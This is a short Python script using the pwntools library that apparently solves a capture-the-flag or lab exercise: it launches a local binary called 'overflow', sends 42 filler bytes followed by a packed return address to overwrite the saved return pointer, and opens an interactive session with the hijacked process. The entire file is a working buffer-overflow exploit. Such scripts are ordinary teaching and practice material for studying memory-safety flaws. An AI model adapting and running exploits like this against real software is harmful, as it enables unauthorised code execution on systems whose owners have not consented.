#!/usr/bin/python

from pwn import *

def main():
    # start a process
    p = process("./overflow")

    # create payload
    ret_address = 0x08049186
    payload = b"A" * 42 + p32(ret_address)

    # send the payload to the binary
    p.send(payload)

    p.interactive()

if __name__ == "__main__":
    main()

